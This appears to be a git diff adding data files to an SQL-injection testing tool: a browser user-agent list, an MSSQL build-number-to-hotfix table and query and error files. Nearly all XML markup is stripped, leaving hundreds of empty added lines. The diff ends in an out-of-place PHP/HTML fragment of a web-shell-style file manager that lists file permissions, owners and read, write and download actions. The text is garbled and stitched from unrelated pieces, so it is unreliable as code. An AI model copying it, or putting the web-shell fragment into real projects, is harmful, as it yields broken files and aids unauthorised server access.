(KHTML, like Gecko) Safari/312 +Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.8) Gecko/20051107 Camino/1.0b1 +Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 +Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 +Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20020508 Netscape6/6.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 SeaMonkey/1.0.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20060918 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060527 BonEcho/2.0a3 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060708 Firefox/2.0b1 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 +Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0 +Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20050610 K-Meleon/0.9 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 +Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4 +Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian-1.8.0.5-3) Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) +Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox +Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0 +msnbot/1.0 (+http://search.msn.com/msnbot.htm) +OmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer +Opera/2.0.3920 (J2ME/MIDP; Opera Mini; en; U; ssr) +Opera/7.23 (Windows 98; U) [en] +Opera/8.0 (X11; Linux i686; U; cs) +Opera/8.00 (Windows NT 5.1; U; en) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1316; fi; U; ssr) +Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4719; en; U; ssr) +Opera/8.02 (Qt embedded; Linux armv4ll; U) [en] SONY/COM1 +Opera/8.02 (Windows NT 5.1; U; en) +Opera/8.5 (X11; Linux i686; U; cs) +Opera/8.50 (Windows NT 5.1; U; en) +Opera/8.51 (Windows NT 5.1; U; en) +Opera/9.0 (Windows NT 5.0; U; en) +Opera/9.00 (Macintosh; PPC Mac OS X; U; en) +Opera/9.00 (Wii; U; ; 1038-58; Wii Shop Channel/1.0; en) +Opera/9.00 (Windows NT 5.1; U; en) +Opera/9.00 (Windows NT 5.2; U; en) +Opera/9.00 (Windows NT 6.0; U; en) +Opera/9.01 (X11; Linux i686; U; en) +Opera/9.02 (Windows NT 5.1; U; en) +Scooter-3.2.EX +W3C_Validator/1.432.2.10 +Wget/1.9 +Yahoo!-MMCrawler/3.x (mms dash mmcrawler dash support at yahoo dash inc dot com) diff --git a/xml/errors.xml b/xml/errors.xml new file mode 100644 index 000000000..9e050f9c3 --- /dev/null +++ b/xml/errors.xml @@ -0,0 +1,62 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/xml/mssql.xml b/xml/mssql.xml new file mode 100644 index 000000000..e5a6c3628 --- /dev/null +++ b/xml/mssql.xml @@ -0,0 +1,3443 @@ + + + + + + 10.00.1750 + + + +Q956718 + + + + + 10.0.1600.22 + + + 0 + + + + + 10.00.1300.13 + + + February CTP + + + + + 10.00.1049.14 + + + July CTP + + + + + 10.00.1019.17 + + + June CTP + + + + + + + 9.00.3282 + + + 2+Q953752 + + + + + 9.00.3260 + + + 2+Q954950 + + + + + 9.00.3259 + + + 2+Q954669 + + + + + 9.00.3257 + + + 2+Q951217 + + + + + 9.00.3253 + + + 2+Q954054 + + + + + 9.00.3244 + + + 2+Q952330 + + + + + 9.00.3240 + + + 2+Q951204 + + + + + 9.00.3239 + + + 2+Q949095 + + + + + 9.00.3235 + + + 2+Q950189 + + + + + 9.00.3232 + + + 2+Q949959 + + + + + 9.00.3231 + + + 2+Q949687 + + + + + 9.00.3230 + + + 2+Q949199 + + + + + 9.00.3228 + + + 2+Q946608 + + + + + 9.00.3224 + + + 2+Q947463 + + + + + 9.00.3222 + + + 2+Q945640 + + + + + 9.00.3221 + + + 2+Q942908 + + + + + 9.00.3215 + + + 2+Q941450 + + + + + 9.00.3209 + + + 2 + + + + + 9.00.3208 + + + 2+Q944902 + + + + + 9.00.3206 + + + 2+Q944677 + + + + + 9.00.3205 + + + 2 + + + + + 9.00.3203 + + + 2 + + + + + 9.00.3200 + + + 2+Q941450 + + + + + 9.00.3195 + + + 2 + + + + + 9.00.3194 + + + 2+Q940933 + + + + + 9.00.3186 + + + 2+Q939562 + + + + + 9.00.3182 + + + 2+Q940128 + + + + + 9.00.3180 + + + 2+Q939942 + + + + + 9.00.3179 + + + 2+Q938243 + + + + + 9.00.3178 + + + 2 + + + + + 9.00.3177 + + + 2+Q939563 + + + + + 9.00.3175 + + + 2+Q936305 + + + + + 9.00.3171 + + + 2+Q937745 + + + + + 9.00.3169 + + + 2+Q937041 + + + + + 9.00.3166 + + + 2+Q936185 + + + + + 9.00.3162 + + + 2+Q932610 + + + + + 9.00.3161 + + + 2+Q935356 + + + + + 9.00.3159 + + + 2+Q934459 + + + + + 9.00.3156 + + + 2+Q934226 + + + + + 9.00.3155 + + + 2+Q933549 + + + + + 9.00.3154 + + + 2+Q934106 + + + + + 9.00.3153 + + + 2+Q933564 + + + + + 9.00.3152 + + + 2+Q933097 + + + + + 9.00.3054 + + + 2+Q934458 + + + + + 9.00.3050 + + + 2+Q933508 + + + + + 9.00.3043 + + + 2+Q933508 + + + + + 9.00.3042 + + + 'Fixed' 2 + + + + + 9.00.3033 + + + 2 CTP + + + + + 9.00.3027 + + + 2 CTP + + + + + 9.00.3026 + + + 1+Q929376 + + + + + 9.00.2249 + + + 1+Q948344 + + + + + 9.00.2245 + + + 1+Q933573 + + + + + 9.00.2243 + + + 1+Q944968 + + + + + 9.00.2242 + + + 1+Q943389 + + + + + 9.00.2239 + + + 1+Q940961 + + + + + 9.00.2237 + + + 1+Q940719 + + + + + 9.00.2236 + + + 1+Q940287 + + + + + 9.00.2234 + + + 1+Q937343 + + + + + 9.00.2233 + + + 1+Q933499 + + + + + 9.00.2232 + + + 1+Q937277 + + + + + 9.00.2231 + + + 1+Q934812 + + + + + 9.00.2230 + + + 1+Q936179 + + + + + 9.00.2229 + + + 1+Q935446 + + + + + 9.00.2227 + + + 1+Q934066 + + + + + 9.00.2226 + + + 1+Q933762 + + + + + 9.00.2224 + + + 1+Q932990 + + + + + 9.00.2223 + + + 1+Q932393 + + + + + 9.00.2221 + + + 1+Q931593 + + + + + 9.00.2219 + + + 1+Q931329 + + + + + 9.00.2218 + + + 1+Q931843 + + + + + 9.00.2216 + + + 1+Q931821 + + + + + 9.00.2215 + + + 1+Q931666 + + + + + 9.00.2214 + + + 1+Q929240 + + + + + 9.00.2211 + + + 1+Q930283 + + + + + 9.00.2209 + + + 1+Q929278 + + + + + 9.00.2208 + + + 1+Q929179 + + + + + 9.00.2207 + + + 1+Q928394< + + + + + 9.00.2206 + + + 1+Q928539 + + + + + 9.00.2202 + + + 1+Q927643 + + + + + 9.00.2201 + + + 1+Q927289 + + + + + 9.00.2198 + + + 1+Q926773 + + + + + 9.00.2196 + + + 1+Q926285 + + + + + 9.00.2195 + + + 1+Q926240 + + + + + 9.00.2194 + + + 1+Q925744 + + + + + 9.00.2192 + + + 1+Q924954 + + + + + 9.00.2191 + + + 1+Q925135 + + + + + 9.00.2190 + + + 1+Q925227 + + + + + 9.00.2189 + + + 1+Q925153 + + + + + 9.00.2187 + + + 1+Q923849 + + + + + 9.00.2183 + + + 1+Q929404 + + + + + 9.00.2181 + + + 1+Q923624 + + + + + 9.00.2176 + + + 1+Q923296 + + + + + 9.00.2175 + + + 1+Q922578 + + + + + 9.00.2174 + + + 1+Q922063 + + + + + 9.00.2167 + + + 1+Q920974 + + + + + 9.00.2164 + + + 1+Q919636 + + + + + 9.00.2156 + + + 1+Q919611 + + + + + 9.00.2153 + + + 1+builds 1531 + + + + + 9.00.2050 + + + 1+.NET Vulnerability fix + + + + + 9.00.2047 + + + 1 0 + + + + + 9.00.2040 + + + 1 CTP + + + + + 9.00.2029 + + + 1 Beta + + + + + 9.00.1561 + + + 0+Q932556 + + + + + 9.00.1558 + + + 0+Q926493 + + + + + 9.00.1554 + + + 0+Q926292 + + + + + 9.00.1551 + + + 0+Q922804 + + + + + 9.00.1550 + + + 0+Q917887 + + + + + 9.00.1547 + + + 0+Q918276 + + + + + 9.00.1545 + + + 0+Q917905 + + + + + 9.00.1541 + + + 0+Q917888 + + + + + 9.00.1539 + + + 0+Q917738 + + + + + 9.00.1538 + + + 0+Q917824 + + + + + 9.00.1536 + + + 0+Q917016 + + + + + 9.00.1534 + + + 0+Q916706 + + + + + 9.00.1533 + + + 0+Q916086 + + + + + 9.00.1532 + + + 0+Q916046 + + + + + 9.00.1531 + + + 0+Q915918 + + + + + 9.00.1528 + + + 0+Q915112 + + + + + 9.00.1519 + + + 0+Q913494 + + + + + 9.00.1518 + + + 0+Q912472 + + + + + 9.00.1514 + + + 0+Q912471 + + + + + 9.00.1503 + + + 0+Q911662 + + + + + 9.00.1502 + + + 0+Q915793 + + + + + 9.00.1500 + + + 0+Q910416 + + + + + 9.00.1406 + + + 0+Q932557 + + + + + 9.00.1399 + + + 0 + + + + + 9.00.1314 + + + September CTP Release + + + + + 9.00.1187 + + + June CTP Release + + + + + 9.00.1116 + + + April CTP Release + + + + + 9.00.1090 + + + March CTP Release + + + + + 9.00.981 + + + December CTP Release + + + + + 9.00.951 + + + October CTP Release + + + + + 9.00.917 + + + Internal build + + + + + 9.00.852 + + + Beta 2 + + + + + 9.00.849 + + + Internal build + + + + + 9.00.844 + + + Internal build + + + + + 9.00.836 + + + Express Ed. Tech Preview + + + + + 9.00.823 + + + Internal build + + + + + 9.00.790 + + + Internal build + + + + + 9.00.767 + + + Internal build + + + + + 9.00.747 + + + Internal build + + + + + 9.00.645 + + + MS Internal + + + + + 9.00.608 + + + Beta 1 + + + + + + + 7.00.1152 + + + 4+Q941203 + + + + + 7.00.1150 + + + 4+Q891116 + + + + + 7.00.1144 + + + 4+Q830233 + + + + + 7.00.1143 + + + 4+Q829015 + + + + + 7.00.1097 + + + 4+Q822756 + + + + + 7.00.1094 + + + 4+Q815495 + + + + + 7.00.1079 + + + 329499 + + + + + 7.00.1078 + + + 4+Q327068 + + + + + 7.00.1077 + + + 4+Q316333 + + + + + 7.00.1063 + + + 4 + + + + + 7.00.1033 + + + 3+Q324469 + + + + + 7.00.1026 + + + 3+Q319851 + + + + + 7.00.1004 + + + 3+Q304851 + + + + + 7.00.996 + + + 3+Q299717 + + + + + 7.00.978 + + + 3+Q285870 + + + + + 7.00.977 + + + 3+Q284351 + + + + + 7.00.970 + + + 3+Q283837 + + + + + 7.00.961 + + + 3 + + + + + 7.00.921 + + + 2+Q283837 + + + + + 7.00.919 + + + 2+Q282243 + + + + + 7.00.918 + + + 2+Q280380 + + + + + 7.00.917 + + + 2+Q279180 + + + + + 7.00.910 + + + 2+Q275901 + + + + + 7.00.905 + + + 2+Q274266 + + + + + 7.00.889 + + + 2+Q243741 + + + + + 7.00.879 + + + 2+Q281185 + + + + + 7.00.857 + + + 2+Q260346 + + + + + 7.00.842 + + + 2 + + + + + 7.00.839 + + + 2 Unidentified + + + + + 7.00.835 + + + 2 Beta + + + + + 7.00.776 + + + 1+Q258087 + + + + + 7.00.770 + + + 1+Q252905 + + + + + 7.00.745 + + + 1+Q253738 + + + + + 7.00.722 + + + 1+Q239458 + + + + + 7.00.699 + + + 1 + + + + + 7.00.689 + + + 1 Beta + + + + + 7.00.677 + + + MSDE O2K Dev + + + + + 7.00.662 + + + Gold+Q232707 + + + + + 7.00.658 + + + Gold+Q244763 + + + + + 7.00.657 + + + Gold+Q229875 + + + + + 7.00.643 + + + Gold+Q220156 + + + + + 7.00.623 + + + Gold + + + + + 7.00.583 + + + RC1 + + + + + 7.00.517 + + + Beta 3 + + + + + + + 8.00.2271 + + + 4+Q946584 + + + + + 8.00.2265 + + + 4+Q944985 + + + + + 8.00.2253 + + + 4+Q939317 + + + + + 8.00.2249 + + + 4+Q936232 + + + + + 8.00.2248 + + + 4+Q935950 + + + + + 8.00.2246 + + + 4+Q935465 + + + + + 8.00.2245 + + + 4+Q933573 + + + + + 8.00.2244 + + + 4+Q934203 + + + + + 8.00.2242 + + + 4+Q929131 + + + + + 8.00.2238 + + + 4+Q931932 + + + + + 8.00.2234 + + + 4+Q929440 + + + + + 8.00.2232 + + + 4+Q928568 + + + + + 8.00.2231 + + + 4+Q928079 + + + + + 8.00.2229 + + + 4+Q927186 + + + + + 8.00.2226 + + + 4+Q925684 + + + + + 8.00.2223 + + + 4+Q925678 + + + + + 8.00.2218 + + + 4+Q925297 + + + + + 8.00.2217 + + + 4+Q924664 + + + + + 8.00.2215 + + + 4+Q924662 + + + + + 8.00.2209 + + + 4+Q923797 + + + + + 8.00.2207 + + + 4+Q923344 + + + + + 8.00.2201 + + + 4+Q920930 + + + + + 8.00.2199 + + + 4+Q919221 + + + + + 8.00.2197 + + + 4+Q919133 + + + + + 8.00.2196 + + + 4+Q919165 + + + + + 8.00.2194 + + + 4+Q917972 + + + + + 8.00.2192 + + + 4+Q917606 + + + + + 8.00.2191 + + + 4+Q916698 + + + + + 8.00.2189 + + + 4+Q916652 + + + + + 8.00.2187 + + + 4+916287 + + + + + 8.00.2180 + + + 4+Q913684 + + + + + 8.00.2175 + + + 4+Q911678 + + + + + 8.00.2172 + + + 4+Q910707 + + + + + 8.00.2171 + + + 4+Q909369 + + + + + 8.00.2168 + + + 4+Q907813 + + + + + 8.00.2167 + + + 4+Q921293 + + + + + 8.00.2166 + + + 4+Q909734 + + + + + 8.00.2162 + + + 4+Q904660 + + + + + 8.00.2156 + + + 4+Q906790 + + + + + 8.00.2151 + + + 4+Q903742 + + + + + 8.00.2148 + + + 4+Q899430 + + + + + 8.00.2147 + + + 4+Q899410 + + + + + 8.00.2145 + + + 4+Q826906 + + + + + 8.00.2040 + + + 4+Q899761 + + + + + 8.00.2039 + + + 4 + + + + + 8.00.2026 + + + 4 Beta + + + + + 8.00.1547 + + + 3+Q899410 + + + + + 8.00.1037 + + + 3+Q930484 + + + + + 8.00.1036 + + + 3+Q929410 + + + + + 8.00.1035 + + + 3+Q917593 + + + + + 8.00.1034 + + + 3+Q915328 + + + + + 8.00.1029 + + + 3+Q902852 + + + + + 8.00.1027 + + + 3+Q900416 + + + + + 8.00.1025 + + + 3+Q899428 + + + + + 8.00.1024 + + + 3+Q898709 + + + + + 8.00.1021 + + + 3+Q887700 + + + + + 8.00.1020 + + + 3+Q896985 + + + + + 8.00.1019 + + + 3+Q897572 + + + + + 8.00.1017 + + + 3+Q896425 + + + + + 8.00.1014 + + + 3+Q895123 + + + + + 8.00.1013 + + + 3+Q891866 + + + + + 8.00.1009 + + + 3+Q894257 + + + + + 8.00.1007 + + + 3+Q893312 + + + + + 8.00.1000 + + + 3+Q891585 + + + + + 8.00.997 + + + 3+Q891311 + + + + + 8.00.996 + + + 3+Q891017 + + + + + 8.00.994 + + + 3+Q890942 + + + + + 8.00.993 + + + 3+Q890925 + + + + + 8.00.991 + + + 3+Q889314 + + + + + 8.00.990 + + + 3+Q890200 + + + + + 8.00.988 + + + 3+Q889166 + + + + + 8.00.985 + + + 3+Q889239 + + + + + 8.00.980 + + + 3+Q887974 + + + + + 8.00.977 + + + 3+Q888007 + + + + + 8.00.973 + + + 3+Q884554 + + + + + 8.00.972 + + + 3+Q885290 + + + + + 8.00.970 + + + 3+Q872842 + + + + + 8.00.967 + + + 3+Q878501 + + + + + 8.00.962 + + + 3+Q883415 + + + + + 8.00.961 + + + 3+Q873446 + + + + + 8.00.959 + + + 3+Q878500 + + + + + 8.00.957 + + + 3+Q870994 + + + + + 8.00.955 + + + 3+Q867798 + + + + + 8.00.954 + + + 3+Q843282 + + + + + 8.00.952 + + + 3+Q867878 + + + + + 8.00.944 + + + 3+Q839280 + + + + + 8.00.937 + + + 3+Q841776 + + + + + 8.00.936 + + + 3+Q841627 + + + + + 8.00.935 + + + 3+Q841401 + + + + + 8.00.934 + + + 3+Q841404 + + + + + 8.00.933 + + + 3+Q840856 + + + + + 8.00.929 + + + 3+Q839529 + + + + + 8.00.928 + + + 3+Q839589 + + + + + 8.00.927 + + + 3+Q839688 + + + + + 8.00.926 + + + 3+Q839523 + + + + + 8.00.923 + + + 3+Q838460 + + + + + 8.00.922 + + + 3+Q837970 + + + + + 8.00.919 + + + 3+Q837957 + + + + + 8.00.916 + + + 3+Q317989 + + + + + 8.00.915 + + + 3+Q837401 + + + + + 8.00.913 + + + 3+Q836651 + + + + + 8.00.911 + + + 3+Q837957 + + + + + 8.00.910 + + + 3+Q834798 + + + + + 8.00.908 + + + 3+Q834290 + + + + + 8.00.904 + + + 3+Q834453 + + + + + 8.00.892 + + + 3+Q833710 + + + + + 8.00.891 + + + 3+Q836141 + + + + + 8.00.879 + + + 3+Q832977 + + + + + 8.00.878 + + + 3+Q831950 + + + + + 8.00.876 + + + 3+Q830912 + + + + + 8.00.873 + + + 3+Q830887 + + + + + 8.00.871 + + + 3+Q830767 + + + + + 8.00.870 + + + 3+Q830262 + + + + + 8.00.869 + + + 3+Q830588 + + + + + 8.00.867 + + + 3+Q830366 + + + + + 8.00.866 + + + 3+Q830366 + + + + + 8.00.865 + + + 3+Q830395 + + + + + 8.00.863 + + + 3+Q829205 + + + + + 8.00.859 + + + 3+Q821334 + + + + + 8.00.858 + + + 3+Q828637 + + + + + 8.00.857 + + + 3+Q828017 + + + + + 8.00.856 + + + 3+Q828096 + + + + + 8.00.854 + + + 3+Q828699 + + + + + 8.00.852 + + + 3+Q830466 + + + + + 8.00.851 + + + 3+Q826754 + + + + + 8.00.850 + + + 3+Q826860 + + + + + 8.00.848 + + + 3+Q826822 + + + + + 8.00.847 + + + 3+Q826433 + + + + + 8.00.845 + + + 3+Q826364 + + + + + 8.00.844 + + + 3+Q826080 + + + + + 8.00.842 + + + 3+Q825043 + + + + + 8.00.841 + + + 3+Q825225 + + + + + 8.00.840 + + + 3+Q319477 + + + + + 8.00.839 + + + 3+Q823877 + + + + + 8.00.837 + + + 3+Q821741 + + + + + 8.00.819 + + + 3+Q826161 + + + + + 8.00.818 + + + 3+Q821277 + + + + + 8.00.816 + + + 3+Q818766 + + + + + 8.00.814 + + + 3+Q819662 + + + + + 8.00.811 + + + 3+Q819248 + + + + + 8.00.807 + + + 3+Q818899 + + + + + 8.00.804 + + + 3+Q818729 + + + + + 8.00.801 + + + 3+Q818540 + + + + + 8.00.800 + + + 3+Q818414 + + + + + 8.00.798 + + + 3+Q817464 + + + + + 8.00.794 + + + 3+Q817464 + + + + + 8.00.791 + + + 3+Q815249 + + + + + 8.00.790 + + + 3+Q817081 + + + + + 8.00.789 + + + 3+Q816840 + + + + + 8.00.788 + + + 3+Q816985 + + + + + 8.00.781 + + + 3+Q815057 + + + + + 8.00.780 + + + 3+Q816084 + + + + + 8.00.779 + + + 3+Q814035 + + + + + 8.00.776 + + + 3+Unidentified + + + + + 8.00.775 + + + 3+Q815115 + + + + + 8.00.769 + + + 3+Q814889 + + + + + 8.00.765 + + + < + + + + + 8.00.763 + + + 3+Q814113 + + + + + 8.00.762 + + + 3+Q814032 + + + + + 8.00.760 + + + 3 + + + + + 8.00.743 + + + 2+Q818406 + + + + + 8.00.741 + + + 2+Q818096 + + + + + 8.00.736 + + + 2+Q816937 + + + + + 8.00.735 + + + 2+Q814889 + + + + + 8.00.733 + + + 2+Q813759 + + + + + 8.00.730 + + + 2+Q813769 + + + + + 8.00.728 + + + 2+Q814460 + + + + + 8.00.725 + + + 2+Q812995 + + + + + 8.00.723 + + + 2+Q812798 + + + + + 8.00.721 + + + 2+Q812250 + + + + + 8.00.718 + + + 2+Q811703 + + + + + 8.00.715 + + + 2+Q810688 + + + + + 8.00.714 + + + 2+Q811478 + + + + + 8.00.713 + + + 2 + + + + + 8.00.710 + + + 2 + + + + + 8.00.705 + + + 2+Q810920 + + + + + 8.00.703 + + + 2+Q810526 + + + + + 8.00.702 + + + 2+Q328551 + + + + + 8.00.701 + + + 2+Q810026 + + + + + 8.00.700 + + + 2+Q810072 + + + + + 8.00.696 + + + 2+Q810052 + + + + + 8.00.695 + + + 2+Q331885 + + + + + 8.00.693 + + + 2+Q330212 + + + + + 8.00.689 + + + 2+Q329499 + + + + + 8.00.688 + + + 2+Q329487 + + + + + 8.00.686 + + + 2+Q316333 + + + + + 8.00.682 + + + 3+Q319851 + + + + + 8.00.679 + + + 2+Q316333 + + + + + 8.00.678 + + + 2+Q328354 + + + + + 8.00.667 + + + 2+8 + + + + + 8.00.665 + + + 2+8 + + + + + 8.00.661 + + + 2+Q326999 + + + + + 8.00.655 + + + 2+7 + + + + + 8.00.652 + + + 2+Q810010? + + + + + 8.00.650 + + + 2+Q322853 + + + + + 8.00.644 + + + 2+Q324186 + + + + + 8.00.608 + + + 2+Q319507 + + + + + 8.00.604 + + + 2+3 + + + + + 8.00.594 + + + 2+Q319477 + + + + + 8.00.578 + + + 2+Q317979 + + + + + 8.00.561 + + + 2+1 + + + + + 8.00.558 + + + 2+Q314003 + + + + + 8.00.552 + + + 2+Q313002 + + + + + 8.00.534 + + + 2.01 + + + + + 8.00.532 + + + 2 + + + + + 8.00.475 + + + 1+1 + + + + + 8.00.474 + + + 1+Q315395 + + + + + 8.00.473 + + + 1+Q314003 + + + + + 8.00.471 + + + 1+Q313302 + + + + + 8.00.469 + + + 1+Q313005 + + + + + 8.00.452 + + + 1+Q308547 + + + + + 8.00.444 + + + 1+Q307540 + + + + + 8.00.443 + + + 1+Q307538 + + + + + 8.00.428 + + + 1+Q304850 + + + + + 8.00.384 + + + 1 + + + + + 8.00.287 + + + 0+Q297209 + + + + + 8.00.251 + + + 0+Q300194 + + + + + 8.00.250 + + + 0+Q291683 + + + + + 8.00.249 + + + 0+Q288122 + + + + + 8.00.239 + + + 0+Q285290 + + + + + 8.00.233 + + + 0+Q282416 + + + + + 8.00.231 + + + 0+Q282279 + + + + + 8.00.226 + + + 0+Q278239 + + + + + 8.00.225 + + + 0+Q281663 + + + + + 8.00.223 + + + 0+Q280380 + + + + + 8.00.222 + + + 0+Q281769 + + + + + 8.00.218 + + + 0+Q279183 + + + + + 8.00.217 + + + 0+Q279293 + + + + + 8.00.211 + + + 0+Q276329 + + + + + 8.00.210 + + + 0+Q275900 + + + + + 8.00.205 + + + 0+Q274330 + + + + + 8.00.204 + + + 0+Q274329 + + + + + 8.00.194 + + + 0 + + + + + 8.00.190 + + + Gold, no + + + + + 8.00.100 + + + Beta 2 + + + + + 8.00.078 + + + EAP5 + + + + + 8.00.047 + + + EAP4 + + + + diff --git a/xml/queries.xml b/xml/queries.xml new file mode 100644 index 000000000..ff0970b47 --- /dev/null +++ b/xml/queries.xml @@ -0,0 +1,194 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NamePermissionOwner/GroupSizeReadWriteDownload
"; + } + else if ($isfile) { + echo ""; + } + else { + echo "$linkToFile"; + } + echo "$linkToFile" . @substr(@sprintf("%o", @fileperms($linkToFile)), -4) . "" . $owner["name"] . "/" . $group["name"] . "DIRLINK" . @sprintf("%u", @filesize($linkToFile)) . " bytesUnknownRead-Write-Download-